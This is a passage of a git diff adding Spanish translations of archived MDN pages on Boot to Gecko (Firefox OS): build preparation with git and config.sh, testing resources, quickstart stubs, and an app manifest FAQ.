+<p>Algunas partes de Android fueron removidas del proceso de compilación por ser innecesarias. Si tu cámara  arrojaburbujas de queja sobre la pérdida de funciones, verifica los marcos o la base para ver si las funciones fueron removidas. Podría ser posible traerlas de vuelta.</p>
+
+<h3 id="WiFi">WiFi</h3>
+
+<p>El dispositivo podría no ver ciertos Puntos de Acceso si no están en un canal oficial. Este parecería ser un problema de CyanogenMod o incluso de AOSP, ya que este afecta distintos tipos de hardware y diferentes OEMs.</p>
diff --git a/files/es/archive/b2g_os/preparing_for_your_first_b2g_build/index.html b/files/es/archive/b2g_os/preparing_for_your_first_b2g_build/index.html
new file mode 100644
index 0000000000..c0a20668ca
--- /dev/null
+++ b/files/es/archive/b2g_os/preparing_for_your_first_b2g_build/index.html
@@ -0,0 +1,151 @@
+---
+title: Preparándote para tu primer binario de B2G
+slug: Archive/B2G_OS/Preparing_for_your_first_B2G_build
+translation_of: Archive/B2G_OS/Preparing_for_your_first_B2G_build
+---
+<p></p>
+
+<p>Antes de construir B2G, necesitas clonar el repositorio y configurar tu binario. Este artículo te explica cómo.</p>
+
+<h2 id="Cómo_clonar_el_repositorio_de_B2G">Cómo clonar el repositorio de B2G</h2>
+
+<p>El primer paso antes de empezar a construir tu primer binario es clonar el repositorio de B2G. Esto no lo bajará todo: bajará solamente el "build system" de B2G y las utilidades de configuración. La mayoría del código de B2G está en el repositorio general <a href="https://developer.mozilla.org/en/Mercurial" title="en/Mercurial">Mercurial</a> de Mozilla.</p>
+
+<p>Para clonar el repositorio, usa git:</p>
+
+<pre>git clone git://github.com/mozilla-b2g/B2G.git</pre>
+
+<p>Tras clonarlo (lo que debería tardar sólo un momento), <code>cd</code> al directorio de B2G:</p>
+
+<pre>cd B2G
+</pre>
+
+<h2 id="Cómo_copiar_la_estructura_de_B2G_a_otro_ordenador">Cómo copiar la estructura de B2G a otro ordenador</h2>
+
+<p>Si tienes un ordenador nuevo (<span class="st">¡</span>vaya suerte!), tu vida será mucho más fácil si simplemente migras la estructura completa de B2G de un ordenador al otro.</p>
+
+<p>Para ello, monta el disco duro de tu ordenador viejo en el nuevo, y haz:</p>
+
+<pre>rsync -a <em>source</em>/ <em>dest</em>/
+</pre>
+
+<p>Donde <code>source</code> es la ruta completa (incluida la barra oblicua del final) a la estructura del código, y <code>dest</code> es el destino al que la quieres mover (la barra oblicua del final también es importante en este caso).</p>
+
+<div class="note">
+<p>Atención: Si copias los archivos de un ordenador con un sistema operativo diferente asegúrate de ejecutar '<em>./build.sh clean' </em>antes de empezar el proceso de construcción. Si no, puedes causar problemas de compilación.</p>
+</div>
+
+<p>Si sigues estas instrucciones, puedes saltarte el resto de este artículo e ir directamente a la <a href="https://developer.mozilla.org/en/Mozilla/Boot_to_Gecko/Building_Boot_to_Gecko" title="en/Mozilla/Boot_to_Gecko/Building_Boot_to_Gecko">página de construcción</a>.</p>
+
+<h2 id="Cómo_configurar_B2G_en_tu_móvil">Cómo configurar B2G en tu móvil</h2>
+
+<div class="warning"><strong>Importante: </strong>Recuerda que sólo son compatibles los móviles con <strong>Android 4</strong> (alias <strong>Ice Cream Sandwich </strong>o<strong> ICS</strong>). Asegúrate de que tu teléfono tiene instalado ICS, si no este paso probablemente fallará ya que algunos "drivers" se obtienen de móviles que no son Nexus. Si tienes que flashear tu móvil con ICS, ten en cuenta que algunas extensiones USB no funcionan bien con utilidades para flashear, y que tendrás que conectar tu teléfono a uno de los puertos del ordenador.</div>
+
+<p>Una vez tengas el "build system" de B2G, necesitas configurarlo para el móvil en el que lo vas a instalar. Para ver una lista de aparatos compatibles, puedes utilizar la herramienta <code>config.sh</code>:</p>
+
+<pre>./config.sh
+</pre>
+
+<p>Este comando te muestra una lista de aparatos compatibles. Por ejemplo:</p>
+
+<pre>Usage: ./config.sh [-cdflnq] (device name)
+Flags are passed through to |./repo sync|.
+
+Valid devices to configure are:
+- galaxy-s2
+- galaxy-nexus
+- nexus-4
+- nexus-4-kk
+- nexus-5
+- nexus-5-l
+- nexus-s
+- nexus-s-4g
+- flo (Nexus 7 2013)
+- otoro
+- unagi
+- inari
+- keon
+- peak
+- hamachi
+- helix
+- tarako
+- dolphin
+- dolphin-512
+- pandaboard
+- vixen
+- flatfish
+- flame
+- flame-kk
+- flame-l
+- rpi (Revision B)
+- emulator
+- emulator-jb
+- emulator-kk
+- emulator-l
+- emulator-x86
+- emulator-x86-jb
+- emulator-x86-kk
+- emulator-x86-l
+&gt; Sony Xperia devices
+- aries (Z3 Compact KK)
+- aries-l (Z3 Compact L)
+- leo-kk (Z3 KK)
+- leo-l (Z3 L)
+- scorpion-l (Z3 Tablet Compact L)
+- sirius-l (Z2 L)
+- tianchi-l (T2U L)
+- flamingo-l (E3 L)</pre>
+
+<div><br>
+Si tu aparato no está en la lista, no continúes: ayúdanos a hacer B2G compatible con tu aparato o espera a que alguien lo haga. <span class="st">¡</span>Pero siempre es mejor que seas tú el que nos ayudes!</div>
+
+<div> </div>
+
+<div class="note"><strong>Atención:</strong> Si por cualquier razón quieres construir una versión específica de B2G, lee el artículo <a href="#Cómo_construir_una_versión_específica_de_Gecko">Cómo construir una versión específica de Gecko</a> antes de hacerlo.</div>
+
+<h3 id="Cómo_configurar_un_teléfono_móvil">Cómo configurar un teléfono móvil</h3>
+
+<p>Primero conecta tu móvil: el proceso de configuración necesita acceder al teléfono.</p>
+
+<p>Si tu teléfono aparece en la lista de aparatos compatibles, puedes empezar el proceso de configuración ejecutando <code>config.sh</code> otra vez, pero ahora incluyendo el nombre del aparato. Por ejemplo, para construir para el Samsung Google Nexus S, escribirías:</p>
+
+<pre>./config.sh nexus-s
+</pre>
+
+<p>Al principio de la configuración es posible que tengas que configurar la opción de uso del color, tras lo cual el proceso continúa. Éste es un buen momento para tomarse un descanso, ya que es ahora cuando te estás descargando por primera vez todo el código necesario para construir B2G.</p>
+
+<p>Si tu teléfono ya no tiene Android y tu estructura de B2G no tiene los bloques binarios, pero has hecho una copia de seguridad de la partición <code>/system</code> tal y como te recomendó el artículo <a href="https://developer.mozilla.org/es/docs/Mozilla/Boot_to_Gecko/Firefox_OS_build_prerequisites" title="https://developer.mozilla.org/es/docs/Mozilla/Boot_to_Gecko/Firefox_OS_build_prerequisites">Prerrequisitos para construir Firefox OS</a>, puedes utilizar dicha copia de seguridad haciendo:</p>
+
+<pre>ANDROIDFS_DIR=&lt;absolute path to parent dir of system dir&gt; ./config.sh &lt;target&gt;
+</pre>
+
+<h3 id="Configuración_para_construir_un_emulador">Configuración para construir un emulador</h3>
+
+<p>Si quieres construir uno de los emuladores, especifica "emulator" para construir la versión ARM, o "emulator-x86" para construir la versión x86. La versión x86 es más rápida, pero su simulación de dispositivos móviles es menos fiel a la realidad.</p>
+
+<p>Por ejemplo, para construir el emulador ARM, escribirías lo siguiente:</p>
+
+<pre>./config.sh emulator
+</pre>
+
+<p>Al principio de la configuración es posible que tengas que configurar la opción de uso del color, tras lo cual el proceso continúa. Éste es un buen momento para tomarse un descanso, ya que es ahora cuando te estás descargando por primera vez todo el código necesario para construir B2G.</p>
+
+<div class="note">
+<p><strong>Atención:</strong> ./config.sh puede llevar más tiempo y consumir más recursos de red de lo que esperabas. Puedes parar el proceso haciendo Ctrl-C y reiniciarlo más tarde. Si sospechas que parte del proceso fue interrumpido antes de terminar, ejecuta './repo sync' para reparar cualquier posible error.</p>
+</div>
+
+<h2 id="Cómo_construir_una_versión_específica_de_Gecko">Cómo construir una versión específica de Gecko</h2>
+
+<p>Algunas veces querrás o necesitarás construir B2G basado en una versión de Gecko distinta de la que se usa por defecto (la que se especifica en el manifiesto). Puedes hacerlo editando el archivo<code>.userconfig</code> antes de hacer "pull" en el repositorio (es decir, antes de ejecutar <code>config.sh</code>). Por ejemplo, si quieres construir basándote en mozilla-central:</p>
+
+<pre>GECKO_PATH=/path/to/mozilla-central
+GECKO_OBJDIR=/path/to/mozilla-central/objdir-gonk
+</pre>
+
+<div class="note">
+<p><strong>Atención:</strong> si construyes para otra versión de Gecko en Mac OS X, el directorio mozilla-central tiene que estar en un sistema de archivos sensible a las mayúsculas.</p>
+</div>
+
+<p>Lee <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Customization_with_the_.userconfig_file" title="/en-US/docs/Mozilla/Boot_to_Gecko/Customization_with_the_.userconfig_file">Personalización del archivo .userconfig</a> para más información sobre adaptaciones que puedes hacer.</p>
+
+<p>Próximo paso: <a href="/en/Mozilla/Boot_to_Gecko/Building_Boot_to_Gecko" title="en/Mozilla/Boot_to_Gecko/Building_Boot_to_Gecko">empieza a construir</a>.</p>
diff --git a/files/es/archive/b2g_os/probando_firefox_os/index.html b/files/es/archive/b2g_os/probando_firefox_os/index.html
new file mode 100644
index 0000000000..282a2fc9cc
--- /dev/null
+++ b/files/es/archive/b2g_os/probando_firefox_os/index.html
@@ -0,0 +1,81 @@
+---
+title: Probar Firefox OS
+slug: Archive/B2G_OS/Probando_Firefox_OS
+translation_of: Archive/B2G_OS/Automated_testing
+---
+<p></p>
+<p>Considerando que Boot to Gecko esta todavía en desarrollo y la compatibilidad para hardware nuevo está pensada para un futuro inmediato, es importante saber cómo probarlo. Esta página ofrece enlaces a artículos que proveen información sobre varios aspectos las pruebas de Boot to Gecko.</p>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h3 id="Documentation" name="Documentation">Pruebas de unidades</h3>
+        <ul>
+          <li><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Gaia_Unit_Tests" title="/en-US/docs/Mozilla/Boot_to_Gecko/Gaia_Unit_Tests">Pruebas de unidad para Gaia</a></li>
+          <li><a href="/en-US/docs/Mozilla/Boot_to_Gecko/B2G_Mochitests" title="/en-US/docs/Mozilla/Boot_to_Gecko/B2G_Mochitests">Mochitests</a></li>
+          <li><a href="/en-US/docs/Mozilla/Boot_to_Gecko/B2G_Reftests" title="/en-US/docs/Mozilla/Boot_to_Gecko/B2G_Reftests">Reftests</a></li>
+          <li><a href="/en-US/docs/Mozilla/Boot_to_Gecko/B2G_XPCShell" title="/en-US/docs/Boot_to_Gecko/XPCShell_B2G">Pruebas de XPCShell</a></li>
+        </ul>
+        <dl>
+        </dl>
+        <h3 id="Documentation" name="Documentation">Temas de prueba diversos</h3>
+        <dl>
+          <dt>
+            <a href="/en-US/docs/Debugging/Debugging_OpenGL" title="/en-US/docs/Debugging/Debugging_OpenGL">Depurar OpenGL</a></dt>
+          <dd>
+            Como depurar código OpenGL en Boot to Gecko.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Feature_support_chart" title="/en-US/docs/Mozilla/Boot_to_Gecko/Feature support chart">Gráfico de soporte de características</a></dt>
+          <dd>
+            Un gráfico de que características están soportadas por las diferentes compilaciones de Boot to Gecko.</dd>
+        </dl>
+        <h3 id="Documentation" name="Documentation">Marionette para Boot to Gecko</h3>
+        <ul>
+          <li><a class="link-https" href="https://wiki.mozilla.org/Auto-tools/Projects/Marionette" title="https://wiki.mozilla.org/Auto-tools/Projects/Marionette">The Marionette Test Automation Framework</a></li>
+          <li><a href="/en/Marionette" title="https://developer.mozilla.org/en/Marionette">Marionette en MDN</a></li>
+        </ul>
+        <h4 id="Prueba_de_Gaia">Prueba de Gaia</h4>
+        <ul>
+          <li><a href="/en/Mozilla/Boot_to_Gecko/Gaia_Unit_Tests" title="https://developer.mozilla.org/en/Mozilla/Boot_to_Gecko/Gaia_Unit_Tests">Ejecutar/escribir pruebas de unidad</a></li>
+          <li><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Gaia_Integration_Tests" title="/en-US/docs/Mozilla/Boot_to_Gecko/Gaia_Integration_Tests">Ejecutar/escribir pruebas de integración</a></li>
+        </ul>
+        <h4 id="Tutoriales_de_Marionette">Tutoriales de Marionette</h4>
+        <ul>
+          <li><a href="/en/Mozilla/Boot_to_Gecko/Setting_Up_Marionette_for_B2G" title="Building B2G for QEMU Emulator">Configurando Marionette para Boot to Gecko</a></li>
+          <li><a href="/en/Mozilla/Boot_to_Gecko/Marionette_for_Interactive_Python" title="https://developer.mozilla.org/en/Mozilla/Boot_to_Gecko/Marionette_for_Interactive_Python">Marionette para Interactive Python</a></li>
+          <li>Marionette para el emulador QEMU</li>
+        </ul>
+        <h4 id="Escribiendo_pruebas_para_Marionette">Escribiendo pruebas para Marionette</h4>
+        <ul>
+          <li><a href="/en/Marionette/Marionette_Python_Tests" title="en/Marionette/Marionette_Python_Tests">Pruebas para Marionette en Python</a></li>
+          <li><a href="/en-US/docs/Marionette/Marionette_JavaScript_Tests" title="/en-US/docs/Marionette/Marionette_JavaScript_Tests">Pruebas para Marionette en JavaScript</a></li>
+          <li><a href="/en/Marionette/Running_Tests" title="en/Marionette/Running_Tests">Ejecutar pruebas para Marionette</a></li>
+        </ul>
+        <p><span class="alllinks"><a href="/Special:Tags?tag=B2G&amp;language=en" title="Special:Tags?tag=B2G&amp;language=en">Ver todo...</a></span></p>
+      </td>
+      <td>
+        <h3 id="Community" name="Community">Obtener ayuda de la comunidad</h3>
+        <p>Si está trabajando con Boot to Gecko o desarrollando aplicaciones que funcionarán en dispositivos basados en Boot to Gecko, hay recursos de la comunidad que lo ayudarán.</p>
+        <ul>
+          <li>Consulte el foro de Boot to Gecko: <ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-b2g"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.b2g"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.b2g/feeds"> como RSS</a></li>
+</ul></li>
+        </ul>
+        <ul>
+          <li>Pregunte en el canal de IRC de Mozilla: <a class="link-irc" href="irc://irc.mozilla.org/b2g" title="irc://irc.mozilla.org/b2g">#b2g</a></li>
+        </ul>
+        <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">No se olvide de la <em>netiquette</em>...</a></span></p>
+        <br>
+        <h3 id="Related_Topics" name="Related_Topics">Temas relacionados</h3>
+        <ul>
+          <li><a href="/en/HTML" title="en/HTML">Preguntas y respuestas</a></li>
+        </ul>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<p> </p>
diff --git a/files/es/archive/b2g_os/quickstart/app_tools/index.html b/files/es/archive/b2g_os/quickstart/app_tools/index.html
new file mode 100644
index 0000000000..a179d64a23
--- /dev/null
+++ b/files/es/archive/b2g_os/quickstart/app_tools/index.html
@@ -0,0 +1,16 @@
+---
+title: App tools
+slug: Archive/B2G_OS/Quickstart/App_tools
+translation_of: Archive/B2G_OS/Quickstart/App_tools
+---
+<div class="summary">
+  <p>What do you use to build Open Web Apps? The answer is "anything you would normally use to build for the web." The following is a list of tools and resources to help you get started making Open Web Apps. They can be easily integrated into your existing web development workflow, if you have one, or you can build a new workflow around them.</p>
+</div>
+<h2 id="App_Validator">App Validator</h2>
+<p>Is your app ready for the Firefox Marketplace? The <a href="https://marketplace.firefox.com/developers/validator">App validator</a> will check your manifest and show you any errors it may have, or warnings you should consider.</p>
+<h2 id="Firefox_OS_Simulator">Firefox OS Simulator</h2>
+<p>Installing and using the <a href="https://marketplace.firefox.com/developers/docs/firefox_os_simulator">Firefox OS Simulator</a> is the easiest way to get up and running with your app. After installed the simulator is accessible via the Tools -&gt; Web Developer -&gt; Firefox OS Simulator menu. The simulator launches with a JavaScript console so that you may debug your application from within the simulator!</p>
+<h2 id="App_Manager">App Manager</h2>
+<p>The new kid on the block with regards to testing tools is called the <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_App_Manager">App Manager</a>. This tool allows you to connect desktop Firefox to a compatible device via USB (or a Firefox OS simulator), push apps straight to the device, validate apps, and debug them as they run on the device.</p>
+<h2 id="Firefox_Developer_Tools">Firefox Developer Tools</h2>
+<p>Firefox now ships with a default set of developer tools built from the ground up to ensure a great development experience that is both snappy and efficient. To find out more about how these tools work, and see a detailed list of what else Mozilla has to offer, head on over to our <a href="/en-US/docs/Tools">Tools zone</a>.</p>
diff --git a/files/es/archive/b2g_os/quickstart/index.html b/files/es/archive/b2g_os/quickstart/index.html
new file mode 100644
index 0000000000..ebe1f7c220
--- /dev/null
+++ b/files/es/archive/b2g_os/quickstart/index.html
@@ -0,0 +1,49 @@
+---
+title: Build
+slug: Archive/B2G_OS/Quickstart
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/B2G_OS/Quickstart
+---
+<div class="summary">
+  <p>Quickstart information on coding open web apps.</p>
+</div>
+<dl>
+  <dt>
+    <a href="/en-US/docs/Web/Apps/Quickstart/Build/Intro_to_open_web_apps">Introduction to open web apps</a></dt>
+  <dd>
+    What are open web apps? How they differ from regular web pages? Why is this significant? This article aims to answer these questions and more.</dd>
+  <dt>
+    <a href="/en-US/docs/Web/Apps/Quickstart/Build/Your_first_app">Your first app</a></dt>
+  <dd>
+    This article takes you through the basic steps and additional knowledge on top of regular web development required to create installable open web apps.</dd>
+  <dt>
+    <a href="/en-US/docs/Web/Apps/Quickstart/Build/Intro_to_Firefox_OS">Introduction to Firefox OS</a></dt>
+  <dd>
+    An introduction to Firefox OS, Mozilla's new open web app-based mobile platform.</dd>
+  <dt>
+    <a href="/en-US/docs/Web/Apps/Quickstart/Build/Intro_to_manifests">Introduction to manifests</a></dt>
+  <dd>
+    An FAQ designed to answer any questions you may have about manifests, hosting apps, origins, and other such topics.</dd>
+  <dt>
+    <a href="/en-US/docs/Web/Apps/Quickstart/Build/For_Web_developers">App development for web developers</a></dt>
+  <dd>
+    If you're a web developer, how do open web apps differ from what you're used to? This article explains all.</dd>
+  <dt>
+    <a href="/en-US/docs/Web/Apps/Quickstart/Build/For_mobile_developers">App development for mobile developers</a></dt>
+  <dd>
+    If you're a native mobile application developer, what advantages can open web apps bring to you, and how do they differ from what you are used to? Here are some ideas.</dd>
+  <dt>
+    <a href="/en-US/docs/Web/Apps/Quickstart/Build/Developing_app_functionality">Developing app functionality</a></dt>
+  <dd>
+    This page talks about the kinds of different functionality that you might want to build into your apps, with links to further information.</dd>
+  <dt>
+    <a href="/en-US/docs/Web/Apps/Quickstart/Build/Payments">Payments</a></dt>
+  <dd>
+    How do you build functionality to make people pay for installing your open web apps? Here is the lowdown.</dd>
+  <dt>
+    <a href="/en-US/docs/Web/Apps/Quickstart/Build/App_tools">App tools</a></dt>
+  <dd>
+    Last for this section, we provide some links to more information on the tools available to help you develop great open web apps.</dd>
+</dl>
diff --git a/files/es/archive/b2g_os/quickstart/intro_to_manifests/index.html b/files/es/archive/b2g_os/quickstart/intro_to_manifests/index.html
new file mode 100644
index 0000000000..84ab7f30d9
--- /dev/null
+++ b/files/es/archive/b2g_os/quickstart/intro_to_manifests/index.html
@@ -0,0 +1,90 @@
+---
+title: Introducción al manifest
+slug: Archive/B2G_OS/Quickstart/Intro_to_manifests
+translation_of: Archive/B2G_OS/Quickstart/Intro_to_manifests
+---
+<div class="summary">
+ <p>Este articulo proporciona toda la información básica que usted necesita saber a cerca de trabajar con archivos de manifiesto open web app.</p>
+</div>
+<dl>
+ <dt>
+  ¿Por qué mi aplicación necesita un app manifest?</dt>
+ <dd>
+  La aplicación manifest proporciona útil información a cerca de una aplicación (tal como nombre, autor, icono y descripción)  es un simple documento usado por los usuarios y las tiendas de aplicacion. Lo mas importante, está contendra una lista de <a href="//developer.mozilla.org/docs/WebAPI">Web APIs</a> (Tal como <a href="//developer.mozilla.org/docs/Using_geolocation">geolocation</a>) que su aplicación necesita. Esto permite a usuarios tomar decisiones informadas a cerca de aplicaciones antes de instalarla.</dd>
+ <dt>
+  Es la Open Web app manifest la misma cosa como el  manifest usado por la extensión de Google Chrome y las web app instalables? o el W3C Widgets manifest? o el  HTML5 <a href="//developer.mozilla.org/docs/Using_Application_Cache">cache manifest</a>?</dt>
+ <dd>
+  No a todos ellos. . La open web app manifest es probablemente la mas similar a google manifest, pero no son identicos. Es esperado que el Open web apps manifest llegará a ser un estandar.</dd>
+ <dt>
+  ¿Qué es un origen?</dt>
+ <dd>
+  El origen de una aplicación es el protocolo, dominio y puerto de la url junto. Cada una de las siguientes urls son diferentes a la original:
+  <ul>
+   <li><code>http://example.com</code></li>
+   <li><code>http://example.com:8080</code> (diferente puerto)</li>
+   <li><code>https://example.com</code> (diferente protocolo)</li>
+   <li><code>http://www.example.com</code></li>
+   <li><code>http://myapp.example.com</code> (subdominio)</li>
+  </ul>
+ </dd>
+ <dd>
+  Las siguientes urls son la misma original:
+  <ul>
+   <li><code>http://Example.com:80</code></li>
+   <li><code>http://example.com</code></li>
+  </ul>
+ </dd>
+</dl>
+<dl>
+ <dd>
+  Las siguientes urls son la misma original:
+  <ul>
+   <li><code>http://example.com/drawingApp</code></li>
+   <li><code>http://example.com/notesApp</code></li>
+  </ul>
+ </dd>
+</dl>
+<dl>
+ <dt>
+  ¿Por qué tengo que hospedar el app manifest en el mismo origen que mi aplicación?</dt>
+ <dd>
+  Asumimos que solo usted puede alojar una aplicación manifest en el mismo origen que su aplicación. Esto significa que los usuarios pueden instalar su aplicación con confianza, sabiendo que la instalación es basada en su aplicación manifiesto y no en alguien más.  Los usuarios deberían tener esta confianza si están instalando su aplicación para Firefox OS Marketplace, para alguna otra tienda de aplicaciones o para su propio sitio web si es auto-publicada su aplicación.</dd>
+ <dd>
+  Si la aplicación manifest no fué hospedada en el mismo origen que la aplicación misma, allí no habría nada para prevenir que terceros hagan directamente aplicaciones fuera de el contenido alojado en su origen.Incluso empeora, terceros podrían crear una aplicación manifiest usando su marca eso sería engañar a los usuarios para que instalen una aplicación que es una fachada para un robo de contraseñas u otros comportamientos imprevistos .</dd>
+ <dt>
+  ¿hacer esto significa que no puedo incrusptar imagenes o javascript de otros origenes?</dt>
+ <dd>
+  No.  La restricción de origen es sobre solo contenido (paginas HTML) . imagenes y otros recursos embebidos pueden ser localizados en otras partes (por ejemplo, en una red de entrega de contenido), excepto por el icono de la aplicación.</dd>
+ <dt>
+  Puedo tener mas de una aplicación en mi origen?</dt>
+ <dd>
+  No, allí solo puede estar una aplicación por origen. Si se permitiera multiples aplicaciones de un solo origen, ellos podrian vivir en una simple web sandbox — examinarían cada localStorage del otro , hace solicitud ajax a cada APIS del otro, o incluso roba acceso a las APIS privilegiadas que deberían de haber tenido concebida solo una de las aplicaciones. Esto sería especialmente peligroso para dominios públicos que públican contenido generado por usuario para muchos usuarios.</dd>
+ <dd>
+  Nosotros recomendamos que use una separación de subdominios para cada una de sus aplicaciones. Por ejemplo, <code>spreadsheet.mycoolapps.com</code> por una aplicación y <code>texteditor.mycoolapps.com</code> por otro. Para mas información, ver <a href="/en-US/docs/Web/Apps/Adding_a_subdomain">Añadiendo un subdominio por una aplicación</a>.</dd>
+ <dd>
+  Muchos recursos y permisos en la web ya están en el ambito de un solo origen. por definición una aplicación y un origen como la misma cosa  que usamos la misma restrinción que son usados en otra parte de la web y en HTML5.</dd>
+ <dt>
+  ¿Porqué no subir el manifiesto directamente al Firefox Os Marketplace?</dt>
+ <dd>
+  Hay varios beneficios de alojas el manifiesto en su dominio y proporcionando la url de la aplicación manifest a el Marketplace:
+  <ul>
+   <li>Nosotros pretendiamos que el Marketplace (y otras tiendas de aplicaciones) revisarían periodicamente todo el manifiesto  en la URL proporcionada y verifique actualizaciones en ellos. Esto evita la necesidad de que vuelva a subir su aplicación manifiesto por cada actualización .</li>
+   <li>El marketplace pasará tanto el original contenido de la aplicación manifiesto como la URL para el dispositivo del usuario. esto permite al dispositivo verificar por bajos costos en la aplicación manifiesto que podría indicar la manipulación. Este será especialmente importante para aplicaciones que usen APIS web(por ejemplo geolocalización).</li>
+  </ul>
+  <strong>Nota:</strong> A partir de este escrito, nosotros estamos todavía diseñando un proceso por el cual el Marketplace pasará una actualizada aplicación  manifiesto a el dispositivo del usuario.</dd>
+ <dt>
+  <br>
+  ¿Por qué mi servidor Web tiene que utilizar la cabecera Content-Type de HTTP adecuada al servir mi aplicación manifiesta?</dt>
+ <dd>
+  Esta restricción previene a usuarios de un sitio web que permite contenido de usuarios generados (por ejemplo, un sitio pastebin) para inadvertidamente o inapropiadamente reclamando que todo sitio web como su aplicación.</dd>
+ <dt>
+  Debería usar HTTPS para servir mi aplicación ?</dt>
+ <dd>
+  Si, es una buena idea. Nosotros anticipamos que el firefox Os Marketplace requerirá cualquier aplicación usando APIS web (Tal como geolocación) para servir a su aplicación manifesto a través de HTTPS como una defensa adicional contra ataques hombre-en-el-medio. Si usas HTTPS para su manifiesto, usted necesita también usarla para todas las páginas en su sitio.</dd>
+ <dt>
+  Qué pasa si alguien más entrega mi aplicación a el Markeplace de Firefox OS?</dt>
+ <dd>
+  En el afortunado evento que alguien adivine la url de su aplicación manifiesto y lo entrega a el Marketplace de Firefox Os antes que usted,<span id="result_box" lang="es"><span class="hps"> por favor</span> <span class="hps">presentar una queja con</span> <span class="hps">el equipo de apoyo</span> <span class="hps">del mercado</span><span>.</span></span></dd>
+</dl>
+<h2 id="Vease_también">Vease también</h2>
+<p><a href="/en-US/docs/Web/Apps/Manifest">App manifest</a></p>
diff --git a/files/es/archive/b2g_os/quickstart/introduccion_a_las_open_web_apps/index.html b/files/es/archive/b2g_os/quickstart/introduccion_a_las_open_web_apps/index.html
new file mode 100644
index 0000000000..37caf3ab16
--- /dev/null
+++ b/files/es/archive/b2g_os/quickstart/introduccion_a_las_open_web_apps/index.html
@@ -0,0 +1,108 @@
+---
+title: Introducción a las Open Web Apps
+slug: Archive/B2G_OS/Quickstart/Introduccion_a_las_open_web_apps
+tags:
+  - Apps
+  - Web Open App
+translation_of: Archive/B2G_OS/Quickstart/Intro_to_open_web_apps
+---
+<p><img alt="Multi devices" src="/files/4523/multidevices.png" style="width: 640px; height: 225px;"></p>
+
+<div class="summary">
+<p>Este artículo está diseñado para actuar como un buen punto de partida para cualquiera que desee aprender más sobre Open Web Apps, si usted es un desarrollador o administrador del proyecto, o tiene otro rol relevante en el desarrollo de aplicaciones o en la distribución. Aquí te ofrecemos un panorama claro de las Open Web Apps y la filosofía detrás de ellas.</p>
+</div>
+
+<p>Las Open Web Apps son esencialmente diferentes de sitios web estándar o páginas Web. Se construyen utilizando tecnologías web abiertas estándar - HTML, CSS, JavaScript, etc - y se pueden acceder mediante un navegador Web. Las principales diferencias radican en su capacidad para ser instaladas en un dispositivo, trabajar sin conexión y tener acceso a API's avanzadas que permiten la interacción con las características del dispositivo, como la cámara, agenda, y otras cosas. Además, se basan en tecnologías abiertas tanto como sea posible. Cuando las diferencias radican en la implementación de tecnología entre las plataformas, se deben hacer esfuerzos para asegurar que ambos son compatibles, a través de una combinación de detección de características y código apropiado para diferentes plataformas, y la degradación agraciada.</p>
+
+<h2 id="Ventajas_de_las_Open_Web_Apps">Ventajas de las Open Web Apps</h2>
+
+<p>Echemos un vistazo a las ventajas de Open Web Apps con más de detalle:</p>
+
+<ul>
+ <li><strong>Instalación local y de almacenamiento fuera de línea:</strong> Las Open Web Apps se pueden instalar en el dispositivo <span id="result_box" lang="es"><span class="hps">y aprovechar</span> <span class="hps">las API</span> <span class="hps">de almacenamiento</span> <span class="hps">local y</span> <span class="hps">IndexedDB</span> <span class="hps">para proporcionar</span> <span class="hps">capacidades de almacenamiento de</span> <span class="hps">datos local</span></span>. Además, las tecnologías Open Web tienden a tener un tamaño mucho más pequeño que las aplicaciones nativas y por lo general se pueden actualizar automáticamente en lugar de tener que instalar un nuevo paquete completo cada vez que hay una actualización. (una excepción a esto son los paquetes de aplicaciones, que requieren un paquete completamente nuevo cuando se actualiza.) Las aplicaciones son por lo tanto menos dependientes de una conexión a Internet siempre activa, y más útiles cuando las redes son irregulares.</li>
+ <li>
+  <div class="almost_half_cell" id="gt-res-content">
+  <div dir="ltr" style="zoom: 1;"><span id="result_box" lang="es"><strong><span class="hps">Acceso</span> <span class="hps">Hardware:</span> </strong><span id="result_box" lang="es"><span class="hps">Los</span> <span class="hps">metadatos proporcionados</span> <span class="hps">con</span> <span class="hps">las Open Web Apps</span> <span class="hps">pueden utilizarse para</span> <span class="hps">conceder permisos de</span> <span class="hps">aplicación</span> <span class="hps">a las API</span> <span class="hps">privilegiadas que</span> <span class="hps">permite</span>n <span class="hps">el uso</span> <span class="hps">de</span> <span class="hps">las características de hardware</span> <span class="hps">del dispositivo</span><span>, algo que la</span> <span class="hps">plataforma</span> <span class="hps">Web</span> <span class="hps">no tenia</span><span class="hps"> tradicionalmente</span><span>.</span></span></span></div>
+  </div>
+ </li>
+ <li>
+  <div class="almost_half_cell" id="gt-res-content">
+  <div dir="ltr" style="zoom: 1;"><span id="result_box" lang="es"><strong><span class="hps">Rompiendo</span> <span class="hps">los walled gardens</span><span>:</span></strong> <span class="hps">La norma para</span> <span class="hps">las plataformas móviles es que</span> <span class="hps">tienden a</span> <span class="hps">ser</span> <span class="hps">cerradas y escritas </span><span class="hps">con tecnologías</span> <span class="hps">propietarias</span><span>, por lo que</span> <span class="hps">las aplicaciones</span> <span class="hps">están</span> <span class="hps">encerradas en</span> <span class="hps">sus plataformas.</span> <span class="hps">Y</span> <span class="hps">los teléfonos inteligentes</span> <span class="hps">tienden a ser caros</span><span>,</span> <span class="hps">y requieren</span> <span class="hps">tarjetas de crédito para</span> <span class="hps">las compras de aplicaciones</span><span>.</span> Las Open Web Apps <span class="hps">tienden a ser</span> <span class="hps">capaces de ejecutarse</span> <span class="hps">en un hardware</span> <span class="hps">mucho más barato</span><span>, sobre todo</span> <span class="hps">en el caso</span> <span class="hps">de los dispositivos que portan</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">dónde</span><span> literalmente</span> <span class="hps">Firefox</span>  se <span class="hps">ejecuta encima</span> <span class="hps">de un</span> <span class="hps">kernel</span> <span class="hps">Linux</span> <span class="hps">muy 